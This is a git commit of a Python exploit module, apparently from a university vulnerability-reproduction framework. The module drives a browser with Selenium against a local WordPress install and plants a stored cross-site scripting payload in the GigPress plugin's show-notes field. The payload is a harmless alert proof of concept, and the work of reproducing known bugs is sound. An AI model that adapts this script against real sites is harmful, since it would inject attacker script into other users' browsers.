<commit_before>import sys
import time
import urllib
import urllib2
import cookielib
import selenium.common.exceptions
import framework

class Exploit (framework.Exploit):

    attributes = {'Name' :        "OSVDB_71163",
                  'Description' : "GigPress Plugin for WordPress contains a flaw that "
                                  "allows a remote cross-site scripting (XSS) attack. "
                                  "This flaw exists because the application does not "
                                  "input passed via the 'Notes' field before returning "
                                  "it to the user. This may allow a user to create a "
                                  "specially crafted URL that would execute arbitrary "
                                  "script code in a user's browser within the trust "
                                  "relationship between their browser and the server.",
                  'References' :  [['OSVDB', '71163'],
                                   ['EDB', '16232']],
                  'Target' :      "Wordpress 3.2", 
                  'TargetLicense' : '',
                  'Plugin':       "GigPress 2.1.10",
                  'VulWikiPage' : "http://seamster.cs.umd.edu/vulwiki/index.php/EDB-16232",
                  'Type' : 'XSS'
                  }


    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return
            
    def exploit(self):
        driver = self.create_selenium_driver(visible=False)
        driver.get("http://localhost/wordpress/wp-login.php")

        time.sleep(3)
        self.logger.info("Logging in as admin to setup concert")
        driver.find_element_by_id("user_login").send_keys("wp<PASSWORD>")
        driver.find_element_by_id("user_pass").send_keys("<PASSWORD>")
        driver.find_element_by_id("wp-submit").click()


        driver.get_element(by_xpath="//a[@href='edit.php?post_type=page']").click()
        driver.get_element(by_xpath="//a[@href='post-new.php?post_type=page']").click()
        driver.get_element(by_id="title").send_keys("Exploit Concert")
        driver.get_element(by_id="content").send_keys("[gigpress_shows]")
        time.sleep(3)
        driver.get_element(by_id="publish").click()
        time.sleep(7)
        driver.get_element(by_xpath="//div[@id='message']/p[contains(text(),'Page published')]", attempts=6, delay=4)

        self.logger.info("Logging in as contributor")
        driver.delete_all_cookies()
        driver.get("http://localhost/wordpress/wp-login.php")
        time.sleep(4)
        driver.find_element_by_id("user_login").send_keys("contributor")
        driver.find_element_by_id("user_pass").send_keys("contributor21")
        driver.find_element_by_id("wp-submit").click()
        driver.get_element(by_xpath="//a[@href='admin.php?page=gigpress/gigpress.php']").click()
 
        sel = driver.get_element(by_xpath="//select[@id='gp_yy']")
        for option in sel.find_elements_by_tag_name('option'):
            if option.text == '2050':
                print "Selecting Date"
                option.click()
         
        sel = driver.get_element(by_xpath="//select[@id='show_artist_id']")
        for option in sel.find_elements_by_tag_name('option'):
            if option.text == 'Add a new artist':
                print "Adding artist"
                option.click()
        driver.get_element(by_xpath="//input[@id='artist_name']").send_keys("The Hax<PASSWORD>")
        sel = driver.get_element(by_xpath="//select[@id='show_venue_id']")
        for option in sel.find_elements_by_tag_name('option'):
            if option.text == 'Add a new venue':
                print "Adding a venue"
                option.click()
        driver.get_element(by_xpath="//input[@id='venue_name']").send_keys("UMD")
        driver.get_element(by_xpath="//input[@id='venue_city']").send_keys("College Park")
        driver.get_element(by_xpath="//textarea[@id='show_notes']").send_keys("<script>alert('w00t');</script>")
        driver.get_element(by_xpath="//input[@name='Submit']").click()
        driver.get_element(by_xpath="//div[@id='message']/p[contains(text(),'successfully added')]", attempts=6, delay=4)

        driver.cleanup()
        return

<commit_msg>small error<commit_after>import sys
import time
import urllib
import urllib2
import cookielib
import selenium.common.exceptions
import framework

class Exploit (framework.Exploit):

    attributes = {'Name' :        "OSVDB_71163",
                  'Description' : "GigPress Plugin for WordPress contains a flaw that "
                                  "allows a remote cross-site scripting (XSS) attack. "
                                  "This flaw exists because the application does not "
                                  "input passed via the 'Notes' field before returning "
                                  "it to the user. This may allow a user to create a "
                                  "specially crafted URL that would execute arbitrary "
                                  "script code in a user's browser within the trust "
                                  "relationship between their browser and the server.",
                  'References' :  [['OSVDB', '71163'],
                                   ['EDB', '16232']],
                  'Target' :      "Wordpress 3.2", 
                  'TargetLicense' : '',
                  'Plugin':       "GigPress 2.1.10",
                  'VulWikiPage' : "http://seamster.cs.umd.edu/vulwiki/index.php/EDB-16232",
                  'Type' : 'XSS'
                  }


    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return
            
    def exploit(self):
        driver = self.create_selenium_driver()
        driver.get("http://localhost/wordpress/wp-login.php")

        time.sleep(3)
        self.logger.info("Logging in as admin to setup concert")
        driver.find_element_by_id("user_login").send_keys("wpadmin")
        driver.find_element_by_id("user_pass").send_keys("<PASSWORD>")
        driver.find_element_by_id("wp-submit").click()


        driver.get_element(by_xpath="//a[@href='edit.php?post_type=page']").click()
        driver.get_element(by_xpath="//a[@href='post-new.php?post_type=page']").click()
        driver.get_element(by_id="title").send_keys("Exploit Concert")
        driver.get_element(by_id="content").send_keys("[gigpress_shows]")
        time.sleep(3)
        driver.get_element(by_id="publish").click()
        time.sleep(7)
        driver.get_element(by_xpath="//div[@id='message']/p[contains(text(),'Page published')]", attempts=6, delay=4)

        self.logger.info("Logging in as contributor")
        driver.delete_all_cookies()
        driver.get("http://localhost/wordpress/wp-login.php")
        time.sleep(4)
        driver.find_element_by_id("user_login").send_keys("contributor")
        driver.find_element_by_id("user_pass").send_keys("<PASSWORD>")
        driver.find_element_by_id("wp-submit").click()
        driver.get_element(by_xpath="//a[@href='admin.php?page=gigpress/gigpress.php']").click()
 
        sel = driver.get_element(by_xpath="//select[@id='gp_yy']")
        for option in sel.find_elements_by_tag_name('option'):
            if option.text == '2050':
                print "Selecting Date"
                option.click()
         
        sel = driver.get_element(by_xpath="//select[@id='show_artist_id']")
        for option in sel.find_elements_by_tag_name('option'):
            if option.text == 'Add a new artist':
                print "Adding artist"
                option.click()
        driver.get_element(by_xpath="//input[@id='artist_name']").send_keys("The Haxors")
        sel = driver.get_element(by_xpath="//select[@id='show_venue_id']")
        for option in sel.find_elements_by_tag_name('option'):
            if option.text == 'Add a new venue':
                print "Adding a venue"
                option.click()
        driver.get_element(by_xpath="//input[@id='venue_name']").send_keys("UMD")
        driver.get_element(by_xpath="//input[@id='venue_city']").send_keys("College Park")
        driver.get_element(by_xpath="//textarea[@id='show_notes']").send_keys("<script>alert('w00t');</script>")
        driver.get_element(by_xpath="//input[@name='Submit']").click()
        driver.get_element(by_xpath="//div[@id='message']/p[contains(text(),'successfully added')]", attempts=6, delay=4)

        driver.cleanup()
        return


{'fraction_non_alphanumeric': 0.14002347417840375, 'fraction_numerical': 0.009859154929577466, 'mean_word_length': 2.2976006191950464, 'pattern_counts': {'":': 0, '<': 12, '<?xml version=': 0, '>': 12, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 16, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '4491805', 'n_tokens_mistral': 2609, 'n_tokens_neox': 2469, 'n_words': 415}